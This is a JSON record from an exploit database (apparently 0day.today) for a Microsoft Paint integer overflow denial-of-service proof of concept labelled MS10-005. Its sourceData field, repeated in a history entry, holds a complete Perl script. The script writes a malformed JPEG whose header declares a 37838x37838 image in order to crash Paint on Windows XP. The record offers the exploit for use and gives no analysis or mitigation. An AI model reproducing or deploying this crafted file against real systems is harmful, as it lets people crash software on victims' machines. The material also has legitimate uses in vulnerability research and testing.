{"id": "1337DAY-ID-12146", "bulletinFamily": "exploit", "title": "Microsoft Paint Integer Overflow Vulnerability (DoS) MS10-005", "description": "Exploit for windows platform in category dos / poc", "published": "2010-05-06T00:00:00", "modified": "2010-05-06T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://0day.today/exploit/description/12146", "reporter": "unsign", "references": [], "cvelist": [], "type": "zdt", "lastseen": "2018-04-09T09:50:29", "history": [{"bulletin": {"bulletinFamily": "exploit", "cvelist": [], "cvss": {"score": 0.0, "vector": "NONE"}, "description": "Exploit for windows platform in category dos / poc", "edition": 1, "enchantments": {"score": {"modified": "2016-04-19T23:58:25", "value": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N/"}}, "hash": "d9c3f413178d0eea67b2a053ad865d69d1b83859797ba44a2b897ceb12e9c854", "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "ce0565251896d1cb9d371e67f53f48c3", "key": "href"}, {"hash": "0678144464852bba10aa2eddf3783f0a", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "b0d3d3a91f21189719037cf41ad6dbfa", "key": "description"}, {"hash": "06508b58a16cfe9055f23b983a9334f7", "key": "sourceHref"}, {"hash": "bcef7abaf6bbab59825d4c007b5b3be6", "key": "title"}, {"hash": "75c8e6aac206ec465b7daf701a2c6f4b", "key": "modified"}, {"hash": "5236e1fd53eb73a429051f7ec52c6102", "key": "reporter"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "df9bf42b90bacc2b296b41a0f0877152", "key": "sourceData"}, {"hash": "75c8e6aac206ec465b7daf701a2c6f4b", "key": "published"}], "history": [], "href": "http://0day.today/exploit/description/12146", "id": "1337DAY-ID-12146", "lastseen": "2016-04-19T23:58:25", "modified": "2010-05-06T00:00:00", "objectVersion": "1.0", "published": "2010-05-06T00:00:00", "references": [], "reporter": "unsign", "sourceData": "=============================================================\r\nMicrosoft Paint Integer Overflow Vulnerability (DoS) MS10-005\r\n=============================================================\r\n\r\n# Date: 2010-05-04\r\n# Version: 5.1.2600.2180\r\n# Tested on: Windows XP SP2\r\n \r\n \r\n#!/usr/bin/perl\r\n \r\n$PoC =\r\n\"\\xFF\\xD8\\xFF\\xE0\\x00\\x10\\x4A\\x46\\x49\\x46\\x00\\x01\\x01\\x01\\x00\\x60\".\r\n\"\\x00\\x60\\x00\\x00\\xFF\\xE1\\x00\\x16\\x45\\x78\\x69\\x66\\x00\\x00\\x49\\x49\".\r\n\"\\x2A\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFF\\xDB\\x00\\x43\".\r\n\"\\x00\\x08\\x06\\x06\\x07\\x06\\x05\\x08\\x07\\x07\\x07\\x09\\x09\\x08\\x0A\\x0C\".\r\n\"\\x14\\x0D\\x0C\\x0B\\x0B\\x0C\\x19\\x12\\x13\\x0F\\x14\\x1D\\x1A\\x1F\\x1E\\x1D\".\r\n\"\\x1A\\x1C\\x1C\\x20\\x24\\x2E\\x27\\x20\\x22\\x2C\\x23\\x1C\\x1C\\x28\\x37\\x29\".\r\n\"\\x2C\\x30\\x31\\x34\\x34\\x34\\x1F\\x27\\x39\\x3D\\x38\\x32\\x3C\\x2E\\x33\\x34\".\r\n\"\\x32\\xFF\\xDB\\x00\\x43\\x01\\x09\\x09\\x09\\x0C\\x0B\\x0C\\x18\\x0D\\x0D\\x18\".\r\n\"\\x32\\x21\\x1C\\x21\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\".\r\n\"\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\".\r\n\"\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\".\r\n\"\\x32\\x32\\x32\\x32\\x32\\x32\\xFF\\xC0\\x00\\x11\\x08\".\r\n \r\n\"\\x93\\xCE\\x93\\xCE\". #Image Size 37838x37838 (Integer Overflow)\r\n \r\n\"\\x03\".\r\n\"\\x01\\x22\\x00\\x02\\x11\\x01\\x03\\x11\\x01\\xFF\\xC4\\x00\\x1F\\x00\\x00\\x01\".\r\n\"\\x05\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\".\r\n\"\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0A\\x0B\\xFF\\xC4\\x00\\xB5\\x10\\x00\".\r\n\"\\x02\\x01\\x03\\x03\\x02\\x04\\x03\\x05\\x05\\x04\\x04\\x00\\x00\\x01\\x7D\\x01\".\r\n\"\\x02\\x03\\x00\\x04\\x11\\x05\\x12\\x21\\x31\\x41\\x06\\x13\\x51\\x61\\x07\\x22\".\r\n\"\\x71\\x14\\x32\\x81\\x91\\xA1\\x08\\x23\\x42\\xB1\\xC1\\x15\\x52\\xD1\\xF0\\x24\".\r\n\"\\x33\\x62\\x72\\x82\\x09\\x0A\\x16\\x17\\x18\\x19\\x1A\\x25\\x26\\x27\\x28\\x29\".\r\n\"\\x2A\\x34\\x35\\x36\\x37\\x38\\x39\\x3A\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4A\".\r\n\"\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5A\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6A\".\r\n\"\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7A\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8A\".\r\n\"\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9A\\xA2\\xA3\\xA4\\xA5\\xA6\\xA7\\xA8\".\r\n\"\\xA9\\xAA\\xB2\\xB3\\xB4\\xB5\\xB6\\xB7\\xB8\\xB9\\xBA\\xC2\\xC3\\xC4\\xC5\\xC6\".\r\n\"\\xC7\\xC8\\xC9\\xCA\\xD2\\xD3\\xD4\\xD5\\xD6\\xD7\\xD8\\xD9\\xDA\\xE1\\xE2\\xE3\".\r\n\"\\xE4\\xE5\\xE6\\xE7\\xE8\\xE9\\xEA\\xF1\\xF2\\xF3\\xF4\\xF5\\xF6\\xF7\\xF8\\xF9\".\r\n\"\\xFA\\xFF\\xC4\\x00\\x1F\\x01\\x00\\x03\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\".\r\n\"\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\".\r\n\"\\x0A\\x0B\\xFF\\xC4\\x00\\xB5\\x11\\x00\\x02\\x01\\x02\\x04\\x04\\x03\\x04\\x07\".\r\n\"\\x05\\x04\\x04\\x00\\x01\\x02\\x77\\x00\\x01\\x02\\x03\\x11\\x04\\x05\\x21\\x31\".\r\n\"\\x06\\x12\\x41\\x51\\x07\\x61\\x71\\x13\\x22\\x32\\x81\\x08\\x14\\x42\\x91\\xA1\".\r\n\"\\xB1\\xC1\\x09\\x23\\x33\\x52\\xF0\\x15\\x62\\x72\\xD1\\x0A\\x16\\x24\\x34\\xE1\".\r\n\"\\x25\\xF1\\x17\\x18\\x19\\x1A\\x26\\x27\\x28\\x29\\x2A\\x35\\x36\\x37\\x38\\x39\".\r\n\"\\x3A\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4A\\x53\\x54\\x55\\x56\\x57\\x58\\x59\".\r\n\"\\x5A\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6A\\x73\\x74\\x75\\x76\\x77\\x78\\x79\".\r\n\"\\x7A\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8A\\x92\\x93\\x94\\x95\\x96\\x97\".\r\n\"\\x98\\x99\\x9A\\xA2\\xA3\\xA4\\xA5\\xA6\\xA7\\xA8\\xA9\\xAA\\xB2\\xB3\\xB4\\xB5\".\r\n\"\\xB6\\xB7\\xB8\\xB9\\xBA\\xC2\\xC3\\xC4\\xC5\\xC6\\xC7\\xC8\\xC9\\xCA\\xD2\\xD3\".\r\n\"\\xD4\\xD5\\xD6\\xD7\\xD8\\xD9\\xDA\\xE2\\xE3\\xE4\\xE5\\xE6\\xE7\\xE8\\xE9\\xEA\".\r\n\"\\xF2\\xF3\\xF4\\xF5\\xF6\\xF7\\xF8\\xF9\\xFA\\xFF\\xDA\\x00\\x0C\\x03\\x01\\x00\".\r\n\"\\x02\\x11\\x03\\x11\\x00\\x3F\\x00\\xF7\\xFA\\x28\\xA2\\x80\\x0A\\x28\\xA2\\x80\".\r\n\"\\x0A\\x28\\xA2\\x80\\x0A\\x28\\xA2\\x80\\x3F\\xFF\\xD9\";\r\n \r\nopen(file , \">\", \"paint.jpg\"); \r\n \r\nprint file $PoC; \r\n \r\nclose(file); \r\n\r\n\n\n# 0day.today [2016-04-19] #", "sourceHref": "http://0day.today/exploit/12146", "title": "Microsoft Paint Integer Overflow Vulnerability (DoS) MS10-005", "type": "zdt", "viewCount": 15}, "differentElements": ["sourceHref", "sourceData", "href"], "edition": 1, "lastseen": "2016-04-19T23:58:25"}], "edition": 2, "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "8cd4821cb504d25572038ed182587d85"}, {"key": "description", "hash": "b0d3d3a91f21189719037cf41ad6dbfa"}, {"key": "href", "hash": "ea8f1252f0e0bc3f72877c0e2d440d1b"}, {"key": "modified", "hash": "75c8e6aac206ec465b7daf701a2c6f4b"}, {"key": "published", "hash": "75c8e6aac206ec465b7daf701a2c6f4b"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "5236e1fd53eb73a429051f7ec52c6102"}, {"key": "sourceData", "hash": "a9de46c549632ee931422f7f0f683465"}, {"key": "sourceHref", "hash": "1719786e29e6c4af07d288d8381945e0"}, {"key": "title", "hash": "bcef7abaf6bbab59825d4c007b5b3be6"}, {"key": "type", "hash": "0678144464852bba10aa2eddf3783f0a"}], "hash": "e3599d59b2e265dc6d748f50e40ba7862fd194a6aa8dbe300e8e5de0fb6b0ab2", "viewCount": 15, "enchantments": {"vulnersScore": 4.9}, "objectVersion": "1.3", "sourceHref": "https://0day.today/exploit/12146", "sourceData": "=============================================================\r\nMicrosoft Paint Integer Overflow Vulnerability (DoS) MS10-005\r\n=============================================================\r\n\r\n# Date: 2010-05-04\r\n# Version: 5.1.2600.2180\r\n# Tested on: Windows XP SP2\r\n \r\n \r\n#!/usr/bin/perl\r\n \r\n$PoC =\r\n\"\\xFF\\xD8\\xFF\\xE0\\x00\\x10\\x4A\\x46\\x49\\x46\\x00\\x01\\x01\\x01\\x00\\x60\".\r\n\"\\x00\\x60\\x00\\x00\\xFF\\xE1\\x00\\x16\\x45\\x78\\x69\\x66\\x00\\x00\\x49\\x49\".\r\n\"\\x2A\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFF\\xDB\\x00\\x43\".\r\n\"\\x00\\x08\\x06\\x06\\x07\\x06\\x05\\x08\\x07\\x07\\x07\\x09\\x09\\x08\\x0A\\x0C\".\r\n\"\\x14\\x0D\\x0C\\x0B\\x0B\\x0C\\x19\\x12\\x13\\x0F\\x14\\x1D\\x1A\\x1F\\x1E\\x1D\".\r\n\"\\x1A\\x1C\\x1C\\x20\\x24\\x2E\\x27\\x20\\x22\\x2C\\x23\\x1C\\x1C\\x28\\x37\\x29\".\r\n\"\\x2C\\x30\\x31\\x34\\x34\\x34\\x1F\\x27\\x39\\x3D\\x38\\x32\\x3C\\x2E\\x33\\x34\".\r\n\"\\x32\\xFF\\xDB\\x00\\x43\\x01\\x09\\x09\\x09\\x0C\\x0B\\x0C\\x18\\x0D\\x0D\\x18\".\r\n\"\\x32\\x21\\x1C\\x21\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\".\r\n\"\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\".\r\n\"\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\\x32\".\r\n\"\\x32\\x32\\x32\\x32\\x32\\x32\\xFF\\xC0\\x00\\x11\\x08\".\r\n \r\n\"\\x93\\xCE\\x93\\xCE\". #Image Size 37838x37838 (Integer Overflow)\r\n \r\n\"\\x03\".\r\n\"\\x01\\x22\\x00\\x02\\x11\\x01\\x03\\x11\\x01\\xFF\\xC4\\x00\\x1F\\x00\\x00\\x01\".\r\n\"\\x05\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\".\r\n\"\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0A\\x0B\\xFF\\xC4\\x00\\xB5\\x10\\x00\".\r\n\"\\x02\\x01\\x03\\x03\\x02\\x04\\x03\\x05\\x05\\x04\\x04\\x00\\x00\\x01\\x7D\\x01\".\r\n\"\\x02\\x03\\x00\\x04\\x11\\x05\\x12\\x21\\x31\\x41\\x06\\x13\\x51\\x61\\x07\\x22\".\r\n\"\\x71\\x14\\x32\\x81\\x91\\xA1\\x08\\x23\\x42\\xB1\\xC1\\x15\\x52\\xD1\\xF0\\x24\".\r\n\"\\x33\\x62\\x72\\x82\\x09\\x0A\\x16\\x17\\x18\\x19\\x1A\\x25\\x26\\x27\\x28\\x29\".\r\n\"\\x2A\\x34\\x35\\x36\\x37\\x38\\x39\\x3A\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4A\".\r\n\"\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5A\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6A\".\r\n\"\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7A\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8A\".\r\n\"\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9A\\xA2\\xA3\\xA4\\xA5\\xA6\\xA7\\xA8\".\r\n\"\\xA9\\xAA\\xB2\\xB3\\xB4\\xB5\\xB6\\xB7\\xB8\\xB9\\xBA\\xC2\\xC3\\xC4\\xC5\\xC6\".\r\n\"\\xC7\\xC8\\xC9\\xCA\\xD2\\xD3\\xD4\\xD5\\xD6\\xD7\\xD8\\xD9\\xDA\\xE1\\xE2\\xE3\".\r\n\"\\xE4\\xE5\\xE6\\xE7\\xE8\\xE9\\xEA\\xF1\\xF2\\xF3\\xF4\\xF5\\xF6\\xF7\\xF8\\xF9\".\r\n\"\\xFA\\xFF\\xC4\\x00\\x1F\\x01\\x00\\x03\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\".\r\n\"\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\".\r\n\"\\x0A\\x0B\\xFF\\xC4\\x00\\xB5\\x11\\x00\\x02\\x01\\x02\\x04\\x04\\x03\\x04\\x07\".\r\n\"\\x05\\x04\\x04\\x00\\x01\\x02\\x77\\x00\\x01\\x02\\x03\\x11\\x04\\x05\\x21\\x31\".\r\n\"\\x06\\x12\\x41\\x51\\x07\\x61\\x71\\x13\\x22\\x32\\x81\\x08\\x14\\x42\\x91\\xA1\".\r\n\"\\xB1\\xC1\\x09\\x23\\x33\\x52\\xF0\\x15\\x62\\x72\\xD1\\x0A\\x16\\x24\\x34\\xE1\".\r\n\"\\x25\\xF1\\x17\\x18\\x19\\x1A\\x26\\x27\\x28\\x29\\x2A\\x35\\x36\\x37\\x38\\x39\".\r\n\"\\x3A\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4A\\x53\\x54\\x55\\x56\\x57\\x58\\x59\".\r\n\"\\x5A\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6A\\x73\\x74\\x75\\x76\\x77\\x78\\x79\".\r\n\"\\x7A\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8A\\x92\\x93\\x94\\x95\\x96\\x97\".\r\n\"\\x98\\x99\\x9A\\xA2\\xA3\\xA4\\xA5\\xA6\\xA7\\xA8\\xA9\\xAA\\xB2\\xB3\\xB4\\xB5\".\r\n\"\\xB6\\xB7\\xB8\\xB9\\xBA\\xC2\\xC3\\xC4\\xC5\\xC6\\xC7\\xC8\\xC9\\xCA\\xD2\\xD3\".\r\n\"\\xD4\\xD5\\xD6\\xD7\\xD8\\xD9\\xDA\\xE2\\xE3\\xE4\\xE5\\xE6\\xE7\\xE8\\xE9\\xEA\".\r\n\"\\xF2\\xF3\\xF4\\xF5\\xF6\\xF7\\xF8\\xF9\\xFA\\xFF\\xDA\\x00\\x0C\\x03\\x01\\x00\".\r\n\"\\x02\\x11\\x03\\x11\\x00\\x3F\\x00\\xF7\\xFA\\x28\\xA2\\x80\\x0A\\x28\\xA2\\x80\".\r\n\"\\x0A\\x28\\xA2\\x80\\x0A\\x28\\xA2\\x80\\x3F\\xFF\\xD9\";\r\n \r\nopen(file , \">\", \"paint.jpg\"); \r\n \r\nprint file $PoC; \r\n \r\nclose(file); \r\n\r\n\n\n# 0day.today [2018-04-09] #"}

{"result": {}}